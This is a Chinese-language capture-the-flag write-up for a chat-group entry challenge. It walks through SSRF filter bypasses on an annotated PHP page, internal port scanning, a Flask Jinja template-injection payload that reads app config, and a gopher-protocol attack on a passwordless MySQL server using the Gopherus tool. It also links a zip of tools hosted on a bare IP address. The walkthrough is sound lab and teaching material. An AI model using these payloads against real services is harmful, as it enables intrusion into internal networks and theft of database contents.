Alert 1 引言
- 群早就加了,但是因为一次稀里糊涂的事情认识一个帅气的师傅,然后稀里糊涂的就是有个朋友也想进群。
然后朋友稀里糊涂的让我帮她做一下入群题,好吧,咳咳,朋友还在成长过程中,我帮一下顺便写下来帮她理解一下,所以我尽量写得清楚明白的令人发指~ - 开始回顾
Alert 2 绕过过滤得到SSRF
- 访问目标站点得到源码(跟着我标记的序号理解源码)
源码解析(开头序号在底部):
<?php
highlight_file(__FILE__);
function check_inner_ip($url) //7.方法在这里,接收了url参数
{ //8.用了个正则表达式判传来的url值里面是否存在
$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
if (!$match_result)
//9.他设定的值,存在返回true真,不存在返回false假
{ //10. !代表false,有句话说的是,假真为假,假假为真
die('url fomat error'); //11.如果序号8那步判断里面不存在设定的值则输
//12. 出url fomat error这个来,然后代码停止运行
}
try //13.上面的if如果条件不满足(因为die,如果满足后脚本就停止
//14. 运行了),那么到了这里继续向下执行
{
$url_parse=parse_url($url); //15. 这里对url值进行解析,得到他的组成部分
} //16.比如他的host,port这些 ,存到url_parse里
//17.https://www.cnblogs.com/gengyi/p/6390084.html,parse_url函数介绍
catch(Exception $e)
{ //18.https://www.w3school.com.cn/php/php_exception.asp,try catch用
//19.法介绍,这里意思是如果try那步的解析出现了异常,catch就会捕捉到
//20.并执行他里面设定的代码
die('url fomat error'); //21. 如果try解析出现异常,就输出url fomat error,
return false; //22.并且停止运行脚本
}
$hostname=$url_parse['host']; //22.如果try没出现异常,就提取里面的host
//23.(就是域名或者IP)存到hostname里
$ip=gethostbyname($hostname); //24.将域名转换成ip,存入ip里
$int_ip=ip2long($ip); //25.对ip进行转换成便于比较的整型存入int_ip
return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
//26. ip2long('127.0.0.0')>>24结果是127,就是取的第一段那里
//27.这里是把这4个段和传入的url参数转换成的整型存入的int_ip
//28.做一个比较,如果咱们输入的是他识别成是这4个段内的,
//29.他就返回true,反之为false,到此这个方法结束,继续向下执行
}
function safe_request_url($url) //4.方法找到在这里,往下看,接受url参数
{
if (check_inner_ip($url)) //5.出现check_inner_ip方法,对url参数处理,我们 //6.去上面寻找这个方法
{ //30.得到了check_inner_ip方法返回的true或false
echo $url.' is inner ip'; //31.如果是返回true则输出 echo $url.' is inner ip'
}
else //32.如果是返回false,继续向下执行,这个才是咱们想要的
{ //33.也就是我们想办法让check_inner_ip返回false是触发SSRF关键
//34.后面是用php执行的curl操作:https://www.jianshu.com/p/07c4dddae43a
$ch = curl_init(); //35.设定ch为句柄,这里的句柄就是谁当了句柄,控制他
//36.就能控制 curl操作,就把他当成curl 后面的-O -o这些
//37.命令吧-.-!,他是一个通用概念,不是针对php和curl什么的,百度搜吧
curl_setopt($ch, CURLOPT_URL, $url);
//38.https://www.runoob.com/php/func-curl_setopt.html,curl_setopt详解
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
//39.上面的就把他当成对curl操作的各种设置和咱们传入的url参数
$output = curl_exec($ch); //40.执行curl操作,将得到的网页存入output
$result_info = curl_getinfo($ch);
//41.将句柄ch的内容编码(content_type),网络地址(url),http状态
//42.码(http_code)等等很多存入result_info
if ($result_info['redirect_url']) //43.如果里面有redirect_url,向下执行
{
safe_request_url($result_info['redirect_url']);
//44.将跳转的页面用safe_request_url过滤一遍
}
curl_close($ch); //45.关闭curl
var_dump($output); //46.将得到的页面输出出来
}
}
$url = $_GET['url']; //1.传入url参数,如果参数不为空,则将
if(!empty($url)){ //2.会执行safe_request_url函数,向上寻找
safe_request_url($url); //3.safe_request_url方法
}
?>
-
可以明显看到传入url参数,进行检查操作,通过的话就dump出来,具体看代码中的注释,排版已经尽力,全文纯手打,末尾附件里面有txt格式的代码解析,最终得到SSRF
-
payload:
?url=http://0.0.0.0/flag.php
?url=http://127.0.0.1./flag.php
根据parse_url解析和curl解析的不同导致还有另外一种payload,不写了,够用就好~要不还得写原理-.-!
- 得到内网网段
Alert 3 进行内网探测
- 有内网网段,当然下一步是进行对网段扫描,得到他的存活IP和开放端口
选择Cluster bomb模式,添加参数,字典的话我也打包在文章末尾
ps:由于服务器问题,这个真实跑的时候很慢,想变快可以把端口只设置成3306,8080,不过我有时间,让他跑呗,做就做个全套的 - 最终得到2个IP:port:172.11.243.81:8080和172.11.243.218:3306
分别回显
#172.11.243.81:8080
5.7.25-0ubuntu0.16.04.2/,mysql_native_password��Got packets out of order
#172.11.243.218:3306
import flask
import os
app = flask.Flask(__name__)
app.config['HINT'] = os.environ.pop('HINT')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/yulige/<path:yulige>')
def yulige(yulige):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(yulige))
if __name__ == '__main__':
app.run("0.0.0.0",port=8080)
- 出现了代码,那么去搜一下,百度搜索 flask ctf
进去看看这个flask python框架有什么cxk操作
稀里糊涂的看看,得出构造payload为
payload:
?url=http://172.11.243.81:8080/yulige/{{url_for.__globals__[%27current_app%27].config[%27HINT%27]}} //悄悄说一句:郁离歌我也想要天眼
Alert 4 通过SSRF+gopher得到flag
- 目前已经得到数据库名yuligeeee123321 ,那么开始的正则里有着gopher协议,那么我们就可以靠gopher协议对mysql进行攻击。
mysql没设置密码的话我们就可以直接ssrf+gopher得到数据库里面的内容的,下次遇到类似的能想起来还有这么个操作就好 - 祭出一个脚本Gopherus,这个属于SSRF配合gopher协议的利用工具,文尾已打包
python2编写的:https://github.com/tarunkant/Gopherus - 脚本运行截图
payload:太长了,自己用脚本跑一下吧,每次得到的payload要继续用url编码再次编码,因为他是SSRF,是存在跳板机的,跳板机会先解一次码
- show database —得到数据库,information_schema fla4441111g
- select group_concat(table_name) from information_schema.tables where table_schema='fla4441111g' —得到表名, F1111llllggggg
- select group_concat(column_name) from information_schema.columns where table_schema='fla4441111g' and table_name='F1111llllggggg'
—得到字段, flag
- select flag from fla4441111g.F1111llllggggg —得到flag,
flag{QAQ_YLG_NO1}
文中用到的附件集合:
http://129.28.179.23/upload/入群题.zip